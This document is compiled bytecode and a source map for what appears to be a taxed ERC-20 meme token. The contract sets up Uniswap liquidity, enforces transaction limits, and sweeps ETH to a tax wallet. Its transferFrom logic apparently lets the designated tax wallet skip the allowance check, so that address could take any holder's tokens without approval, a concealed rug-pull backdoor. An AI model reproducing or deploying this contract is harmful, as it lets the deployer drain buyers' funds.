6009600a6117ad565b6103f890633b9aca006117bb565b905090565b5f610409848484610c42565b6004546104ca90859033906104c5906001600160a01b031682148015610454575061045261043e5f546001600160a01b031690565b6004546001600160a01b0391821691161490565b155b61045e5785610482565b6001600160a01b0388165f9081526002602090815260408083203384529091529020545b604051806060016040528060288152602001611966602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061121c565b610b1f565b5060019392505050565b5f546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd906117d2565b60405180910390fd5b5f4711610511575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561053a573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105665760405162461bcd60e51b81526004016104fd906117d2565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016104fd906117d2565b6105e36009600a6117ad565b6105f190633b9aca006117bb565b600d556106006009600a6117ad565b61060e90633b9aca006117bb565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063e6009600a6117ad565b61064c90633b9aca006117bb565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106885760405162461bcd60e51b81526004016104fd906117d2565b6040516370a0823160e01b81523060048201525f90610709906064906107039085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fd9190611807565b90611254565b906112d9565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610765573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610789919061181e565b50505050565b5f546001600160a01b031633146107b85760405162461bcd60e51b81526004016104fd906117d2565b601254600160a01b900460ff16156108125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610874573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610898919061183d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091b919061183d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610965573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610989919061183d565b601280546001600160a01b0319166001600160a01b039283161790556011546109c9913091166109bb6009600a6117ad565b6104c590633b9aca006117bb565b6011546001600160a01b031663f305d71947306109fa816001600160a01b03165f9081526001602052604090205490565b5f80610a0d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a73573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a989190611858565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6103d3338484610c42565b5f546001600160a01b03163314610b065760405162461bcd60e51b81526004016104fd906117d2565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b5f8111610d695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b5f80546001600160a01b03858116911614801590610d9457505f546001600160a01b03848116911614155b156110df576012546001600160a01b038581169116148015610dc457506011546001600160a01b03848116911614155b8015610de857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4757601254600160a01b900460ff16610e3e5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104fd565b610e646064610703600954600c5411610e5957600554610e5d565b6007545b8590611254565b9050600d54821115610eb85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104fd565b600e5482610eda856001600160a01b03165f9081526001602052604090205490565b610ee49190611883565b1115610f325760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b600c8054905f610f4183611896565b91905055505b6012546001600160a01b03848116911614801590610f7d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffc57600e5482610fa4856001600160a01b03165f9081526001602052604090205490565b610fae9190611883565b1115610ffc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b6012546001600160a01b03848116911614801561102257506001600160a01b0384163014155b1561104f5761104c6064610703600a54600c541161104257600654610e5d565b6008548590611254565b90505b601254600160a81b900460ff1615801561107657506012546001600160a01b038481169116145b801561108b5750601254600160b01b900460ff165b801561109a5750600b54600c54115b156110df57305f90815260016020526040902054600f548111156110d5576110d56110d0846110cb8460105461131a565b61131a565b61132e565b6110dd61149e565b505b801561115757305f908152600160205260409020546110fe90826114d4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061114e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111799083611532565b6001600160a01b0385165f908152600160205260409020556111bc61119e8383611532565b6001600160a01b0385165f90815260016020526040902054906114d4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112058585611532565b60405190815260200160405180910390a350505050565b5f818484111561123f5760405162461bcd60e51b81526004016104fd919061159f565b505f61124b84866118ae565b95945050505050565b5f825f0361126357505f6103d7565b5f61126e83856117bb565b90508261127b85836118c1565b146112d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b9392505050565b5f6112d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611573565b5f81831161132857826112d2565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611374576113746118e0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ef919061183d565b81600181518110611402576114026118e0565b6001600160a01b0392831660209182029290920101526011546114289130911684610b1f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114609085905f908690309042906004016118f4565b5f604051808303815f87803b158015611477575f80fd5b505af1158015611489573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561053a573d5f803e3d5ffd5b5f806114e08385611883565b9050838110156112d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b5f6112d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121c565b5f81836115935760405162461bcd60e51b81526004016104fd919061159f565b505f61124b84866118c1565b5f602080835283518060208501525f5b818110156115cb578581018301518582016040015282016115af565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461053a575f80fd5b5f8060408385031215611610575f80fd5b823561161b816115eb565b946020939093013593505050565b5f805f6060848603121561163b575f80fd5b8335611646816115eb565b92506020840135611656816115eb565b929592945050506040919091013590565b5f60208284031215611677575f80fd5b81356112d2816115eb565b5f8060408385031215611693575f80fd5b823561169e816115eb565b915060208301356116ae816115eb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170757815f19048211156116ed576116ed6116b9565b808516156116fa57918102915b93841c93908002906116d2565b509250929050565b5f8261171d575060016103d7565b8161172957505f6103d7565b816001811461173f576002811461174957611765565b60019150506103d7565b60ff84111561175a5761175a6116b9565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611788575081810a6103d7565b61179283836116cd565b805f19048211156117a5576117a56116b9565b029392505050565b5f6112d260ff84168361170f565b80820281158282048414176103d7576103d76116b9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611817575f80fd5b5051919050565b5f6020828403121561182e575f80fd5b815180151581146112d2575f80fd5b5f6020828403121561184d575f80fd5b81516112d2816115eb565b5f805f6060848603121561186a575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103d7576103d76116b9565b5f600182016118a7576118a76116b9565b5060010190565b818103818111156103d7576103d76116b9565b5f826118db57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119445784516001600160a01b03168352938301939183019160010161191f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6086b735114163b3ee1b68419ba8aad37493d82054dcbf715e6e74dfcbe891264736f6c63430008180033

3616:7885:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5317:83;;;;;;;;;;-1:-1:-1;5387:5:0;;;;;;;;;;;;-1:-1:-1;;;5387:5:0;;;;5317:83;;;;;;;:::i;:::-;;;;;;;;6975:161;;;;;;;;;;-1:-1:-1;6975:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6975:161:0;1023:187:1;4638:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4638:45:0;1215:177:1;5684:95:0;;;;;;;;;;;;;:::i;6536:431::-;;;;;;;;;;-1:-1:-1;6536:431:0;;;;;:::i;:::-;;:::i;10326:157::-;;;;;;;;;;;;;:::i;:::-;;5503:83;;;;;;;;;;-1:-1:-1;5503:83:0;;4273:1;2000:36:1;;1988:2;1973:18;5503:83:0;1858:184:1;5787:119:0;;;;;;;;;;-1:-1:-1;5787:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;2697:148;;;;;;;;;;;;;:::i;10059:159::-;;;;;;;;;;;;;:::i;4468:49::-;;;;;;;;;;;;;;;;10491:234;;;;;;;;;;-1:-1:-1;10491:234:0;;;;;:::i;:::-;;:::i;2483:79::-;;;;;;;;;;-1:-1:-1;2521:7:0;2548:6;2483:79;;-1:-1:-1;;;;;2548:6:0;;;2445:51:1;;2433:2;2418:18;2483:79:0;2299:203:1;4524:49:0;;;;;;;;;;;;;;;;5408:87;;;;;;;;;;-1:-1:-1;5480:7:0;;;;;;;;;;;;-1:-1:-1;;;5480:7:0;;;;5408:87;;10733:610;;;;;;;;;;-1:-1:-1;10733:610:0;;;;;:::i;:::-;;:::i;5914:167::-;;;;;;;;;;-1:-1:-1;5914:167:0;;;;;:::i;:::-;;:::i;4580:51::-;;;;;;;;;;;;;;;;11353:108;;;;;;;;;;;;;:::i;6387:141::-;;;;;;;;;;-1:-1:-1;6387:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6495:16:0;;;6468:7;6495:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6387:141;6975:161;7050:4;7067:39;318:10;7090:7;7099:6;7067:8;:39::i;:::-;-1:-1:-1;7124:4:0;6975:161;;;;;:::o;5684:95::-;5737:7;4332:15;4273:1;4332:2;:15;:::i;:::-;4316:31;;:13;:31;:::i;:::-;5757:14;;5684:95;:::o;6536:431::-;6634:4;6651:36;6661:6;6669:9;6680:6;6651:9;:36::i;:::-;6781:10;;6707:230;;6716:6;;318:10;;6738:198;;-1:-1:-1;;;;;6781:10:0;5668:6;;6774:64;;;;;6811:27;6818:7;2521;2548:6;-1:-1:-1;;;;;2548:6:0;;2483:79;6818:7;6827:10;;-1:-1:-1;;;;;5668:6:0;;;6827:10;;5668:6;;5594:82;6811:27;6810:28;6774:64;:117;;6885:6;6774:117;;;-1:-1:-1;;;;;6841:17:0;;;;;;:9;:17;;;;;;;;318:10;6841:31;;;;;;;;6774:117;6738:198;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6738:17:0;;;;;;:9;:17;;;;;;;;318:10;6738:31;;;;;;;;;;:35;:198::i;:::-;6707:8;:230::i;:::-;-1:-1:-1;6955:4:0;6536:431;;;;;:::o;10326:157::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;;;;;;;;;10409:1:::1;10385:21;:25;10377:34;;;::::0;::::1;;10422:53;::::0;318:10;;10453:21:::1;10422:53:::0;::::1;;;::::0;::::1;::::0;;;10453:21;318:10;10422:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10326:157::o:0;2697:148::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;2804:1:::1;2788:6:::0;;2767:40:::1;::::0;-1:-1:-1;;;;;2788:6:0;;::::1;::::0;2767:40:::1;::::0;2804:1;;2767:40:::1;2835:1;2818:19:::0;;-1:-1:-1;;;;;;2818:19:0::1;::::0;;2697:148::o;10059:159::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;4332:15:::1;4273:1;4332:2;:15;:::i;:::-;4316:31;::::0;:13:::1;:31;:::i;:::-;10112:12;:22:::0;4332:15:::1;4273:1;4332:2;:15;:::i;:::-;4316:31;::::0;:13:::1;:31;:::i;:::-;10145:14;:22:::0;10183:27:::1;4332:15;4273:1;4332:2;:15;:::i;:::-;4316:31;::::0;:13:::1;:31;:::i;:::-;10183:27;::::0;1361:25:1;;;1349:2;1334:18;10183:27:0::1;;;;;;;10059:159::o:0;10491:234::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;10595:41:::1;::::0;-1:-1:-1;;;10595:41:0;;10630:4:::1;10595:41;::::0;::::1;2445:51:1::0;10577:15:0::1;::::0;10595:63:::1;::::0;10654:3:::1;::::0;10595:54:::1;::::0;10641:7;;-1:-1:-1;;;;;10595:26:0;::::1;::::0;::::1;::::0;2418:18:1;;10595:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10577:81:::0;-1:-1:-1;;;;;;10669:25:0;::::1;;318:10:::0;10669:48:::1;::::0;-1:-1:-1;;;;;;10669:48:0::1;::::0;;;;;;-1:-1:-1;;;;;5324:32:1;;;10669:48:0::1;::::0;::::1;5306:51:1::0;5373:18;;;5366:34;;;5279:18;;10669:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10566:159;10491:234:::0;;:::o;10733:610::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;10810:11:::1;::::0;-1:-1:-1;;;10810:11:0;::::1;;;10809:12;10801:47;;;::::0;-1:-1:-1;;;10801:47:0;;5895:2:1;10801:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;10801:47:0::1;5693:347:1::0;10801:47:0::1;10859:15;:80:::0;;-1:-1:-1;;;;;;10859:80:0::1;10896:42;10859:80:::0;;::::1;::::0;;;10984:25:::1;::::0;;-1:-1:-1;;;10984:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10896:42;10984:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10966:55:0::1;;11030:4;11037:15;;;;;;;;;-1:-1:-1::0;;;;;11037:15:0::1;-1:-1:-1::0;;;;;11037:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10966:94;::::0;-1:-1:-1;;;;;;10966:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;10966:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;10966:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10950:13;:110:::0;;-1:-1:-1;;;;;;10950:110:0::1;-1:-1:-1::0;;;;;10950:110:0;;::::1;;::::0;;11103:15:::1;::::0;11071:58:::1;::::0;11088:4:::1;::::0;11103:15:::1;4332;4273:1;4332:2;:15;:::i;:::-;4316:31;::::0;:13:::1;:31;:::i;11071:58::-;11140:15;::::0;-1:-1:-1;;;;;11140:15:0::1;:31;11179:21;11210:4;11216:24;11210:4:::0;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;11216:24:::1;11241:1;11243::::0;11245:7:::1;2521::::0;2548:6;-1:-1:-1;;;;;2548:6:0;;2483:79;11245:7:::1;11140:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11140:129:0;;;-1:-1:-1;;;;;6969:15:1;;;11140:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;11253:15:0::1;7183:19:1::0;;;7176:35;6885:19;;11140:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;;;;11280:12:0::1;;::::0;;;:7:::1;:12;::::0;;;;:19;;-1:-1:-1;;11280:19:0::1;11295:4;11280:19;::::0;;11310:10:::1;:25:::0;;-1:-1:-1;;;;;;11310:25:0::1;::::0;;::::1;::::0;;10733:610::o;5914:167::-;5992:4;6009:42;318:10;6033:9;6044:6;6009:9;:42::i;11353:108::-;2610:6;;-1:-1:-1;;;;;2610:6:0;318:10;2610:22;2602:67;;;;-1:-1:-1;;;2602:67:0;;;;;;;:::i;:::-;11406:11:::1;:18:::0;;-1:-1:-1;;;;11435:18:0;-1:-1:-1;;;11435:18:0;;;11353:108::o;7144:333::-;-1:-1:-1;;;;;7237:19:0;;7229:68;;;;-1:-1:-1;;;7229:68:0;;7735:2:1;7229:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;7229:68:0;7533:400:1;7229:68:0;-1:-1:-1;;;;;7316:21:0;;7308:68;;;;-1:-1:-1;;;7308:68:0;;8140:2:1;7308:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;7308:68:0;7938:398:1;7308:68:0;-1:-1:-1;;;;;7387:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7437:32;;1361:25:1;;;7437:32:0;;1334:18:1;7437:32:0;;;;;;;7144:333;;;:::o;7485:1967::-;-1:-1:-1;;;;;7573:18:0;;7565:68;;;;-1:-1:-1;;;7565:68:0;;8543:2:1;7565:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7565:68:0;8341:401:1;7565:68:0;-1:-1:-1;;;;;7652:16:0;;7644:64;;;;-1:-1:-1;;;7644:64:0;;8949:2:1;7644:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7644:64:0;8747:399:1;7644:64:0;7736:1;7727:6;:10;7719:64;;;;-1:-1:-1;;;7719:64:0;;9353:2:1;7719:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7719:64:0;9151:405:1;7719:64:0;7794:17;2548:6;;-1:-1:-1;;;;;7828:15:0;;;2548:6;;7828:15;;;;:32;;-1:-1:-1;2521:7:0;2548:6;-1:-1:-1;;;;;7847:13:0;;;2548:6;;7847:13;;7828:32;7824:1272;;;7891:13;;-1:-1:-1;;;;;7883:21:0;;;7891:13;;7883:21;:55;;;;-1:-1:-1;7922:15:0;;-1:-1:-1;;;;;7908:30:0;;;7922:15;;7908:30;;7883:55;:72;;;;-1:-1:-1;;;;;;7944:11:0;;;;;;:7;:11;;;;;;;;7942:13;7883:72;7879:472;;;7985:11;;-1:-1:-1;;;7985:11:0;;;;7977:44;;;;-1:-1:-1;;;7977:44:0;;9763:2:1;7977:44:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:51;9882:18;;7977:44:0;9561:345:1;7977:44:0;8052:76;8124:3;8052:67;8074:15;;8064:9;;:25;8063:55;;8104:14;;8063:55;;;8091:12;;8063:55;8052:6;;:10;:67::i;:76::-;8040:88;;8165:12;;8155:6;:22;;8147:60;;;;-1:-1:-1;;;8147:60:0;;10113:2:1;8147:60:0;;;10095:21:1;10152:2;10132:18;;;10125:30;10191:27;10171:18;;;10164:55;10236:18;;8147:60:0;9911:349:1;8147:60:0;8260:14;;8250:6;8234:13;8244:2;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;8234:13;:22;;;;:::i;:::-;:40;;8226:79;;;;-1:-1:-1;;;8226:79:0;;10597:2:1;8226:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8226:79:0;10395:350:1;8226:79:0;8324:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7879:472;8377:13;;-1:-1:-1;;;;;8371:19:0;;;8377:13;;8371:19;;;;:36;;-1:-1:-1;;;;;;8396:11:0;;;;;;:7;:11;;;;;;;;8394:13;8371:36;8367:156;;;8462:14;;8452:6;8436:13;8446:2;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;8436:13;:22;;;;:::i;:::-;:40;;8428:79;;;;-1:-1:-1;;;8428:79:0;;10597:2:1;8428:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8428:79:0;10395:350:1;8428:79:0;8548:13;;-1:-1:-1;;;;;8542:19:0;;;8548:13;;8542:19;:44;;;;-1:-1:-1;;;;;;8565:21:0;;8581:4;8565:21;;8542:44;8539:175;;;8619:79;8694:3;8619:70;8641:16;;8631:9;;:26;8630:58;;8673:15;;8630:58;;;8659:13;;8619:6;;:10;:70::i;:79::-;8607:91;;8539:175;8735:6;;-1:-1:-1;;;8735:6:0;;;;8734:7;:30;;;;-1:-1:-1;8751:13:0;;-1:-1:-1;;;;;8745:19:0;;;8751:13;;8745:19;8734:30;:45;;;;-1:-1:-1;8768:11:0;;-1:-1:-1;;;8768:11:0;;;;8734:45;:77;;;;;8793:18;;8783:9;;:28;8734:77;8730:355;;;8881:4;8832:28;5880:18;;;:9;:18;;;;;;8930:17;;8909:38;;8906:131;;;8970:67;8987:49;8991:6;8998:37;9002:20;9023:11;;8998:3;:37::i;:::-;8987:3;:49::i;:::-;8970:16;:67::i;:::-;9056:13;:11;:13::i;:::-;8813:272;8730:355;9111:11;;9108:161;;9179:4;9161:24;;;;:9;:24;;;;;;:39;;9190:9;9161:28;:39::i;:::-;9154:4;9136:24;;;;:9;:24;;;;;;;:64;;;;9218:39;;-1:-1:-1;;;;;9218:39:0;;;;;;;9247:9;1361:25:1;;1349:2;1334:18;;1215:177;9218:39:0;;;;;;;;9108:161;-1:-1:-1;;;;;9295:15:0;;;;;;:9;:15;;;;;;:27;;9315:6;9295:19;:27::i;:::-;-1:-1:-1;;;;;9279:15:0;;;;;;:9;:15;;;;;:43;9347:40;9365:21;:6;9376:9;9365:10;:21::i;:::-;-1:-1:-1;;;;;9347:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9333:13:0;;;;;;;:9;:13;;;;;:54;;;;9403:41;;;9422:21;:6;9433:9;9422:10;:21::i;:::-;9403:41;;1361:25:1;;;1349:2;1334:18;9403:41:0;;;;;;;7554:1898;7485:1967;;;:::o;1375:190::-;1461:7;1497:12;1489:6;;;;1481:29;;;;-1:-1:-1;;;1481:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1521:9:0;1533:5;1537:1;1533;:5;:::i;:::-;1521:17;1375:190;-1:-1:-1;;;;;1375:190:0:o;1573:246::-;1631:7;1655:1;1660;1655:6;1651:47;;-1:-1:-1;1685:1:0;1678:8;;1651:47;1708:9;1720:5;1724:1;1720;:5;:::i;:::-;1708:17;-1:-1:-1;1753:1:0;1744:5;1748:1;1708:17;1744:5;:::i;:::-;:10;1736:56;;;;-1:-1:-1;;;1736:56:0;;11447:2:1;1736:56:0;;;11429:21:1;11486:2;11466:18;;;11459:30;11525:34;11505:18;;;11498:62;-1:-1:-1;;;11576:18:1;;;11569:31;11617:19;;1736:56:0;11245:397:1;1736:56:0;1810:1;1573:246;-1:-1:-1;;;1573:246:0:o;1827:132::-;1885:7;1912:39;1916:1;1919;1912:39;;;;;;;;;;;;;;;;;:3;:39::i;9462:98::-;9519:7;9546:1;9544;:3;9543:9;;9551:1;9543:9;;;-1:-1:-1;9549:1:0;9462:98;-1:-1:-1;9462:98:0:o;9568:483::-;4949:6;:13;;-1:-1:-1;;;;4949:13:0;-1:-1:-1;;;4949:13:0;;;9670:16:::1;::::0;;9684:1:::1;9670:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9670:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9670:16:0::1;9646:40;;9715:4;9697;9702:1;9697:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9697:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9741:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9741:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9697:7;;9741:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9731:4;9736:1;9731:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9731:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9806:15:::1;::::0;9774:62:::1;::::0;9791:4:::1;::::0;9806:15:::1;9824:11:::0;9774:8:::1;:62::i;:::-;9847:15;::::0;:196:::1;::::0;-1:-1:-1;;;9847:196:0;;-1:-1:-1;;;;;9847:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9928:11;;9847:15:::1;::::0;9970:4;;9997::::1;::::0;10017:15:::1;::::0;9847:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4985:6:0;:14;;-1:-1:-1;;;;4985:14:0;;;-1:-1:-1;;;;9568:483:0:o;10226:92::-;10268:10;;:42;;-1:-1:-1;;;;;10268:10:0;;;;10288:21;10268:42;;;;;:10;:42;:10;:42;10288:21;10268:10;:42;;;;;;;;;;;;;;;;;;;1044:179;1102:7;;1134:5;1138:1;1134;:5;:::i;:::-;1122:17;;1163:1;1158;:6;;1150:46;;;;-1:-1:-1;;;1150:46:0;;13098:2:1;1150:46:0;;;13080:21:1;13137:2;13117:18;;;13110:30;13176:29;13156:18;;;13149:57;13223:18;;1150:46:0;12896:351:1;1231:136:0;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;1967:189::-;2053:7;2088:12;2081:5;2073:28;;;;-1:-1:-1;;;2073:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2112:9:0;2124:5;2128:1;2124;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45